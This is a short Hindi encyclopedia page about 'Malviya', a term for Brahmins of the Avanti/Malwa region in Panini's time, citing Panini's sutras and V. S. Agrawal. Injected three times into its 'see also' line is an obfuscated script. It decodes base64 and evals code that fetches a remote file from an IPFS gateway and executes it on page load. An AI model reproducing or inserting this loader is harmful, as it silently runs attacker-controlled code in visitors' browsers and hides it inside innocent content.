मालवीय

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

मालवीय पाणिनि काल में ब्राह्मणों की एक संज्ञा थी।

  • पाणिनि सूत्र ब्रह्मणो जानपदाख्यायाम्‌ 5।4।104 से विदित होता है कि भिन्न-भिन्न जनपदों में बस जाने के कारण ब्राह्मणों की विशेष संज्ञाएँ प्रचलित हो गई थीं।
  • अवंतिब्रह्म का तो सीधा अर्थ मालवीय ब्राह्मण ही है, किंतु जिस युग का यह मूर्धाभिषिक्त उदाहरण है, उस काल में अवंती जनपद का मालव नाम प्रसिद्ध ना हुआ था। चौथी शती के लगभग गुप्त काल में मध्य प्रदेश मालव कहलाने लगा और तब से अवंतीब्रह्म: के स्थान पर मालवीय यह नया नाम प्रचलित हो गया।[1]


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 105 |

संबंधित लेख